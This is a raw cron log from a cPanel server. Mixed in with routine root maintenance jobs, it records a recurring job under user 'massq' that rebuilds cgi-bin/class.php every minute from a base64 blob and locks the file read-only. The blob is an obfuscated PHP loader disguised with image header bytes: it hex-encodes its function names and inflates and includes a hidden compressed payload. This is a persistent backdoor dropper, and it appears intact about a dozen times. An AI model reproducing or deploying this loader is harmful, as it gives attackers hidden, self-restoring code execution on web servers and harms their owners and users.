Sep  6 19:22:01 server CROND[32543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:23:01 server CROND[765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:23:01 server CROND[766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:23:01 server CROND[767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:24:01 server CROND[1196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:24:01 server CROND[1197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:24:01 server CROND[1198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:25:01 server CROND[1712]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:25:01 server CROND[1714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:25:01 server CROND[1715]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 19:25:01 server CROND[1718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:25:01 server CROND[1717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:25:01 server CROND[1719]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 19:25:01 server CROND[1716]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:26:01 server CROND[2576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:26:01 server CROND[2577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:26:01 server CROND[2578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:27:01 server CROND[2992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:27:01 server CROND[2993]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 19:27:01 server CROND[2994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:27:01 server CROND[2995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:28:01 server CROND[3370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:28:01 server CROND[3371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:28:01 server CROND[3372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:29:01 server CROND[3741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:29:01 server CROND[3742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:29:01 server CROND[3743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:30:01 server CROND[4119]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 19:30:01 server CROND[4122]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:30:01 server CROND[4125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:30:01 server CROND[4124]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 19:30:02 server CROND[4128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:30:02 server CROND[4131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:30:02 server CROND[4132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:30:02 server CROND[4127]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 19:31:01 server CROND[5038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:31:01 server CROND[5039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:31:01 server CROND[5040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:32:01 server CROND[5402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:32:01 server CROND[5403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:32:01 server CROND[5404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:33:01 server CROND[5770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:33:01 server CROND[5771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:33:01 server CROND[5772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:34:01 server CROND[6159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:34:01 server CROND[6160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:34:01 server CROND[6161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:35:01 server CROND[6539]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 19:35:01 server CROND[6541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:35:01 server CROND[6547]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
